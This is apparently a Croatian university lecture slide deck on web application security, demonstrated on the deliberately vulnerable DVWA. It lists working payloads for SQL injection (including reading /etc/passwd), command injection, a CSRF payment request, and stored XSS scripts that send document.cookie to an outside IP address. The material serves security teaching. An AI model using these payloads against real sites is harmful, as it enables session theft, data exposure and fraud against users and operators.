120 likes | 297 Views
Specijalistički studij Informacijska sigurnost Demonstracije: Sigurnost web aplikacija. Umetanje datoteka (File inclusion). moguće kod ranjivih sjedišta koja prikazuju datoteku uključenu u URL npr. show=index.php ovisno o ovlastima web aplikacije kao korisnika na sustavu ovlasti na datoteke.
E N D
Specijalistički studij Informacijska sigurnostDemonstracije:Sigurnost web aplikacija
Umetanje datoteka (File inclusion) • moguće kod ranjivih sjedišta koja prikazuju datoteku uključenu u URL • npr. show=index.php • ovisno o ovlastima web aplikacije kao korisnika na sustavu • ovlasti na datoteke • http://localhost/dvwa/vulnerabilities/fi/?page=include.php
SQL Injection • Primjer: DVWA • 1. ‘ OR ‘1’=1’ • 2. ‘ OR 1=1# • 3. broj kolumni? • ‘ ORDER BY 1# • ‘ ORDER BY 2# • 4. imena kolumni • ' OR firstname='Marin • ' OR first_name='Marin • ' OR user='Marin • ... • 5. imena tablica(e) • ' OR tablica.user_id = '1 • ' OR users.user_id = '1
SQL Injection • 6. UNION – povezuje dvije SQL naredbe • ' UNION SELECT * from users# • ne radi jer tablica users ima više od dvije kolumne • ' UNION SELECT user, password from users# • ... i još puno toga, npr: • ‘UNION SELECT 1,@@version# • ‘UNION SELECT1,@@hostname# • ' UNION SELECT 1,user()# • ' UNION SELECT 1,database()# • ' UNION SELECT load_file(‘/etc/passwd’),1# SELECT first_name, last_name FROM users WHERE user_id = ’UNOS‘
Izvođenje naredbi (Command Execution) • aplikacija za ping • moguće pokretati više naredbi odjednom • odvajanje naredbi: znakom | ili & • 1. 127.0.0.1 | ls • 2. 127.0.0.1 | cat /etc/passwd
Autentifikacija • HTTP ne čuva stanje (“stateless”protokol) • podaci o sesiji ili korisniku moraju putovati u svakom zahtjevu • problemi s upravljanjem sjednicom • stanje se prati putem varijable SESSION ID • izuzetno nesigurno: napadaču se gotovo daje pristup • SESSION ID se obično vidi na mreži, u pregledniku, u logovima... • putem SESSION ID-a se rade kritične stvari • upravljanje lozinkama, login, pošta, tajna pitanja... • utjecaj: • kompromitacija korisničkog računa ili otmica sjednice
Cross-Site Scripting (XSS) • podaci od napadača šalju se korisniku u preglednik • podaci su: • pohranjeni u bazi podataka (Stored) • rezultat su unosa u obrazac (Reflected) • same origin policy • Unos u obrazac • najčešće pretraga • Proba: • <script>alert(document.cookie)</script>
Cross-Site Scripting (XSS) • Dodavanje skripte na gumb (Submit) • <script type="text/javascript"> • document.guestform.action="http://161.53.19.165/posted/post.php"; • var b = document.getElementsByName("btnSign")[0]; • if (b.onclick) { • b.onclick(); • } else if (b.click) { • b.click(); • } • </script>
Cross-Site Scripting (XSS) • Dodavanje skripte u bazu podataka • <script> • var http = new XMLHttpRequest(); • http.open('POST', 'http://161.53.19.165/posted/post.php', true); • http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); • http.send(document.cookie); • </script>
Lažiranje zahtjeva na drugom sjedištu • Cross Site Request Forgery(CSRF) • napad pri kojem se preglednik žrtve namami da pošalje naredbu ranjivoj web-aplikaciji • ranjivost je uzrokovana činjenicom da preglednici automatski uključuju autentifikacijske podatke (sjednica, IP adresa) u svaki zahtjev (cookie) • same origin policy? • iskorištava se činjenica da sjedište vjeruje pregledniku korisnika • Primjer • aplikacija za plaćanje • zlonamjerni HTTP GET zahtjev na drugoj stranici • <img src="http://localhost/OWASPPokazni/plati.php?platitelj=marin&primatelj=HACKER&sigkod=222&iznos=2220&plati=plati"/>
Phishing stranice • Stranice koje se lažno predstavljaju kao neke legitimne stranice • Cilj: krađa podataka (ime i lozinka) • Kako napraviti phishing stranicu? • Kako preusmjeriti promet na “lažnu” stranicu?
Korisni alati • Ranjiva web aplikacija – Damn Vulnerable Web Application • http://dvwa.co.uk/ • Skup alata za društveni inžinjering i ostale napade – Social Engineering Toolkit • https://www.trustedsec.com/downloads/social-engineer-toolkit/